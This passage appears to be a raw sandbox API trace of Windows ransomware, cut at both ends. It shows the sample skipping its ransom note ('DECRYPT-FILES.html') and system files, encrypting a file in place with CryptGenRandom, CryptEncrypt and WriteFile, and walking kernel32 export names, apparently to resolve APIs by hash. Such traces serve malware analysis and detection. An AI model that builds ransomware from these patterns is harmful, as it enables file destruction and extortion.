dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0129.766] lstrcmpiW (lpString1="SetupResources.dll", lpString2="DECRYPT-FILES.html") returned 1 [0129.766] lstrcmpiW (lpString1="SetupResources.dll", lpString2="autorun.inf") returned 1 [0129.766] lstrcmpiW (lpString1="SetupResources.dll", lpString2="boot.ini") returned 1 [0129.766] lstrcmpiW (lpString1="SetupResources.dll", lpString2="desktop.ini") returned 1 [0129.766] lstrcmpiW (lpString1="SetupResources.dll", lpString2="ntuser.dat") returned 1 [0129.766] lstrcmpiW (lpString1="SetupResources.dll", lpString2="iconcache.db") returned 1 [0129.766] lstrcmpiW (lpString1="SetupResources.dll", lpString2="bootsect.bak") returned 1 [0129.766] lstrcmpiW (lpString1="SetupResources.dll", lpString2="ntuser.dat.log") returned 1 [0129.766] lstrcmpiW (lpString1="SetupResources.dll", lpString2="thumbs.db") returned -1 [0129.766] lstrcmpiW (lpString1="SetupResources.dll", lpString2="Bootfont.bin") returned 1 [0129.766] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\") returned 27 [0129.766] lstrlenW (lpString="SetupResources.dll") returned 18 [0129.766] lstrcpyW (in: lpString1=0x38befe4, lpString2="C:\\588bce7c90097ed212\\1043\\" | out: lpString1="C:\\588bce7c90097ed212\\1043\\") returned="C:\\588bce7c90097ed212\\1043\\" [0129.766] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1043\\", lpString2="SetupResources.dll" | out: lpString1="C:\\588bce7c90097ed212\\1043\\SetupResources.dll") returned="C:\\588bce7c90097ed212\\1043\\SetupResources.dll" [0129.766] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0129.766] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1043\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5f4 [0129.767] GetFileSizeEx (in: hFile=0x5f4, lpFileSize=0x38be7b0 | out: lpFileSize=0x38be7b0*=19288) returned 1 [0129.767] CreateFileMappingW (hFile=0x5f4, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName=0x0) returned 0x5f8 [0129.768] MapViewOfFile (hFileMappingObject=0x5f8, dwDesiredAccess=0x2, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2d20000 [0129.932] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x20, pbBuffer=0x2d10000 | out: pbBuffer=0x2d10000) returned 1 [0129.932] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x8, pbBuffer=0x2d10020 | out: pbBuffer=0x2d10020) returned 1 [0129.932] VirtualAlloc (lpAddress=0x0, dwSize=0x108, flAllocationType=0x3000, flProtect=0x4) returned 0x2d30000 [0129.933] CryptEncrypt (in: hKey=0x68c9e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d30000*, pdwDataLen=0x38be718*=0x28, dwBufLen=0x100 | out: pbData=0x2d30000*, pdwDataLen=0x38be718*=0x100) returned 1 [0129.933] VirtualAlloc (lpAddress=0x0, dwSize=0x1001, flAllocationType=0x3000, flProtect=0x4) returned 0x2d40000 [0129.933] VirtualFree (lpAddress=0x2d40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0129.934] UnmapViewOfFile (lpBaseAddress=0x2d20000) returned 1 [0129.934] CloseHandle (hObject=0x5f8) returned 1 [0129.934] SetFilePointerEx (in: hFile=0x5f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.934] WriteFile (in: hFile=0x5f4, lpBuffer=0x2d30000*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x38be738, lpOverlapped=0x0 | out: lpBuffer=0x2d30000*, lpNumberOfBytesWritten=0x38be738*=0x108, lpOverlapped=0x0) returned 1 [0129.935] CloseHandle (hObject=0x0) returned 0 [0129.935] CloseHandle (hObject=0x5f4) returned 1 [0129.936] VirtualFree (lpAddress=0x2d30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0129.936] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0129.936] GetTickCount () returned 0x35dc1 [0129.936] VirtualAlloc (lpAddress=0x0, dwSize=0x18, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0129.937] lstrlenW (lpString="qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890") returned 62 [0129.937] VirtualAlloc (lpAddress=0x0, dwSize=0xa, flAllocationType=0x3000, flProtect=0x4) returned 0x2d20000 [0129.937] VirtualAlloc (lpAddress=0x0, dwSize=0x7e, flAllocationType=0x3000, flProtect=0x4) returned 0x2d30000 [0129.937] lstrlenA (lpString="kernel32.dll") returned 12 [0129.937] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0129.937] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0129.937] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0129.937] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0129.937] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0129.938] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0129.938] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0129.938] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtxWorker" | out: lpString1="ActivateActCtxWorker") returned="ActivateActCtxWorker" [0129.938] lstrlenA (lpString="ACTIVATEACTCTXWORKER") returned 20 [0129.938] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0129.938] lstrlenA (lpString="ADDATOMA") returned 8 [0129.938] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0129.938] lstrlenA (lpString="ADDATOMW") returned 8 [0129.938] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0129.938] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0129.938] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0129.938] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0129.938] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddDllDirectory" | out: lpString1="AddDllDirectory") returned="AddDllDirectory" [0129.938] lstrlenA (lpString="ADDDLLDIRECTORY") returned 15 [0129.938] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0129.938] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0129.938] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0129.938] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0129.938] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0129.938] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0129.938] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0129.938] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0129.938] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtxWorker" | out: lpString1="AddRefActCtxWorker") returned="AddRefActCtxWorker" [0129.938] lstrlenA (lpString="ADDREFACTCTXWORKER") returned 18 [0129.938] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddResourceAttributeAce" | out: lpString1="AddResourceAttributeAce") returned="AddResourceAttributeAce" [0129.938] lstrlenA (lpString="ADDRESOURCEATTRIBUTEACE") returned 23 [0129.938] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0129.938] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0129.938] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddScopedPolicyIDAce" | out: lpString1="AddScopedPolicyIDAce") returned="AddScopedPolicyIDAce" [0129.938] lstrlenA (lpString="ADDSCOPEDPOLICYIDACE") returned 20 [0129.938] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0129.938] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0129.938] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0129.938] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0129.938] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0129.938] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0129.938] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0129.938] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0129.938] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0129.939] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0129.939] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0129.939] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0129.939] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0129.939] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0129.939] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetClrCompat" | out: lpString1="AppPolicyGetClrCompat") returned="AppPolicyGetClrCompat" [0129.939] lstrlenA (lpString="APPPOLICYGETCLRCOMPAT") returned 21 [0129.939] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetCreateFileAccess" | out: lpString1="AppPolicyGetCreateFileAccess") returned="AppPolicyGetCreateFileAccess" [0129.939] lstrlenA (lpString="APPPOLICYGETCREATEFILEACCESS") returned 28 [0129.939] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetLifecycleManagement" | out: lpString1="AppPolicyGetLifecycleManagement") returned="AppPolicyGetLifecycleManagement" [0129.939] lstrlenA (lpString="APPPOLICYGETLIFECYCLEMANAGEMENT") returned 31 [0129.939] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetMediaFoundationCodecLoading" | out: lpString1="AppPolicyGetMediaFoundationCodecLoading") returned="AppPolicyGetMediaFoundationCodecLoading" [0129.939] lstrlenA (lpString="APPPOLICYGETMEDIAFOUNDATIONCODECLOADING") returned 39 [0129.939] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetProcessTerminationMethod" | out: lpString1="AppPolicyGetProcessTerminationMethod") returned="AppPolicyGetProcessTerminationMethod" [0129.939] lstrlenA (lpString="APPPOLICYGETPROCESSTERMINATIONMETHOD") returned 36 [0129.939] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetShowDeveloperDiagnostic" | out: lpString1="AppPolicyGetShowDeveloperDiagnostic") returned="AppPolicyGetShowDeveloperDiagnostic" [0129.939] lstrlenA (lpString="APPPOLICYGETSHOWDEVELOPERDIAGNOSTIC") returned 35 [0129.939] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetThreadInitializationType" | out: lpString1="AppPolicyGetThreadInitializationType") returned="AppPolicyGetThreadInitializationType" [0129.939] lstrlenA (lpString="APPPOLICYGETTHREADINITIALIZATIONTYPE") returned 36 [0129.939] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetWindowingModel" | out: lpString1="AppPolicyGetWindowingModel") returned="AppPolicyGetWindowingModel" [0129.939] lstrlenA (lpString="APPPOLICYGETWINDOWINGMODEL") returned 26 [0129.939] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppXGetOSMaxVersionTested" | out: lpString1="AppXGetOSMaxVersionTested") returned="AppXGetOSMaxVersionTested" [0129.939] lstrlenA (lpString="APPXGETOSMAXVERSIONTESTED") returned 25 [0129.939] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0129.939] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0129.939] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0129.939] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0129.939] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0129.939] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0129.939] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0129.939] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0129.939] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0129.939] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0129.939] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0129.939] lstrlenA (lpString="BACKUPREAD") returned 10 [0129.939] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0129.939] lstrlenA (lpString="BACKUPSEEK") returned 10 [0129.939] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0129.940] lstrlenA (lpString="BACKUPWRITE") returned 11 [0129.940] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0129.940] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0129.940] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0129.940] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0129.941] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheExWorker" | out: lpString1="BaseCheckAppcompatCacheExWorker") returned="BaseCheckAppcompatCacheExWorker" [0129.941] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEXWORKER") returned 31 [0129.941] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheWorker" | out: lpString1="BaseCheckAppcompatCacheWorker") returned="BaseCheckAppcompatCacheWorker" [0129.941] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEWORKER") returned 29 [0129.941] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckElevation" | out: lpString1="BaseCheckElevation") returned="BaseCheckElevation" [0129.941] lstrlenA (lpString="BASECHECKELEVATION") returned 18 [0129.941] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0129.941] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0129.941] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupportWorker" | out: lpString1="BaseCleanupAppcompatCacheSupportWorker") returned="BaseCleanupAppcompatCacheSupportWorker" [0129.941] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORTWORKER") returned 38 [0129.941] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDestroyVDMEnvironment" | out: lpString1="BaseDestroyVDMEnvironment") returned="BaseDestroyVDMEnvironment" [0129.941] lstrlenA (lpString="BASEDESTROYVDMENVIRONMENT") returned 25 [0129.941] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0129.941] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0129.941] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0129.941] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0129.941] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCacheWorker" | out: lpString1="BaseDumpAppcompatCacheWorker") returned="BaseDumpAppcompatCacheWorker" [0129.941] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHEWORKER") returned 28 [0129.941] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseElevationPostProcessing" | out: lpString1="BaseElevationPostProcessing") returned="BaseElevationPostProcessing" [0129.941] lstrlenA (lpString="BASEELEVATIONPOSTPROCESSING") returned 27 [0129.941] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0129.941] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0129.941] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCacheWorker" | out: lpString1="BaseFlushAppcompatCacheWorker") returned="BaseFlushAppcompatCacheWorker" [0129.941] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHEWORKER") returned 29 [0129.941] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0129.941] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0129.941] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0129.941] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0129.941] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFreeAppCompatDataForProcessWorker" | out: lpString1="BaseFreeAppCompatDataForProcessWorker") returned="BaseFreeAppCompatDataForProcessWorker" [0129.941] lstrlenA (lpString="BASEFREEAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0129.941] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0129.941] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0129.941] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0129.941] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0129.941] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0129.941] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0129.941] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupportWorker" | out: lpString1="BaseInitAppcompatCacheSupportWorker") returned="BaseInitAppcompatCacheSupportWorker" [0129.942] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORTWORKER") returned 35 [0129.942] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0129.942] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0129.942] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabledWorker" | out: lpString1="BaseIsAppcompatInfrastructureDisabledWorker") returned="BaseIsAppcompatInfrastructureDisabledWorker" [0129.942] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLEDWORKER") returned 43 [0129.942] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsDosApplication" | out: lpString1="BaseIsDosApplication") returned="BaseIsDosApplication" [0129.942] lstrlenA (lpString="BASEISDOSAPPLICATION") returned 20 [0129.942] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0129.942] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0129.942] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseReadAppCompatDataForProcessWorker" | out: lpString1="BaseReadAppCompatDataForProcessWorker") returned="BaseReadAppCompatDataForProcessWorker" [0129.942] lstrlenA (lpString="BASEREADAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0129.942] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0129.942] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0129.942] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0129.942] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0129.942] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0129.942] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0129.942] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCacheWorker" | out: lpString1="BaseUpdateAppcompatCacheWorker") returned="BaseUpdateAppcompatCacheWorker" [0129.942] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHEWORKER") returned 30 [0129.942] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateVDMEntry" | out: lpString1="BaseUpdateVDMEntry") returned="BaseUpdateVDMEntry" [0129.942] lstrlenA (lpString="BASEUPDATEVDMENTRY") returned 18 [0129.942] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0129.942] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0129.942] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseWriteErrorElevationRequiredEvent" | out: lpString1="BaseWriteErrorElevationRequiredEvent") returned="BaseWriteErrorElevationRequiredEvent" [0129.942] lstrlenA (lpString="BASEWRITEERRORELEVATIONREQUIREDEVENT") returned 36 [0129.942] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0129.942] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0129.942] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0129.942] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0129.942] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0129.942] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0129.942] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppContainerEnvironmentExtension" | out: lpString1="BasepAppContainerEnvironmentExtension") returned="BasepAppContainerEnvironmentExtension" [0129.942] lstrlenA (lpString="BASEPAPPCONTAINERENVIRONMENTEXTENSION") returned 37 [0129.942] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppXExtension" | out: lpString1="BasepAppXExtension") returned="BasepAppXExtension" [0129.942] lstrlenA (lpString="BASEPAPPXEXTENSION") returned 18 [0129.943] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0129.943] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0129.943] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWebBladeHashes" | out: lpString1="BasepCheckWebBladeHashes") returned="BasepCheckWebBladeHashes" [0129.943] lstrlenA (lpString="BASEPCHECKWEBBLADEHASHES") returned 24 [0129.943] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0129.943] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0129.943] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepConstructSxsCreateProcessMessage" | out: lpString1="BasepConstructSxsCreateProcessMessage") returned="BasepConstructSxsCreateProcessMessage" [0129.943] lstrlenA (lpString="BASEPCONSTRUCTSXSCREATEPROCESSMESSAGE") returned 37 [0129.943] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCopyEncryption" | out: lpString1="BasepCopyEncryption") returned="BasepCopyEncryption" [0129.943] lstrlenA (lpString="BASEPCOPYENCRYPTION") returned 19 [0129.943] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0129.943] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0129.943] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0129.943] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0129.943] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetAppCompatData" | out: lpString1="BasepGetAppCompatData") returned="BasepGetAppCompatData" [0129.943] lstrlenA (lpString="BASEPGETAPPCOMPATDATA") returned 21 [0129.943] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetComputerNameFromNtPath" | out: lpString1="BasepGetComputerNameFromNtPath") returned="BasepGetComputerNameFromNtPath" [0129.943] lstrlenA (lpString="BASEPGETCOMPUTERNAMEFROMNTPATH") returned 30 [0129.943] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetExeArchType" | out: lpString1="BasepGetExeArchType") returned="BasepGetExeArchType" [0129.943] lstrlenA (lpString="BASEPGETEXEARCHTYPE") returned 19 [0129.943] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepInitAppCompatData" | out: lpString1="BasepInitAppCompatData") returned="BasepInitAppCompatData" [0129.943] lstrlenA (lpString="BASEPINITAPPCOMPATDATA") returned 22 [0129.943] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepIsProcessAllowed" | out: lpString1="BasepIsProcessAllowed") returned="BasepIsProcessAllowed" [0129.943] lstrlenA (lpString="BASEPISPROCESSALLOWED") returned 21 [0129.944] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0129.944] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0129.944] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepNotifyLoadStringResource" | out: lpString1="BasepNotifyLoadStringResource") returned="BasepNotifyLoadStringResource" [0129.944] lstrlenA (lpString="BASEPNOTIFYLOADSTRINGRESOURCE") returned 29 [0129.944] lstrcpyA (in: 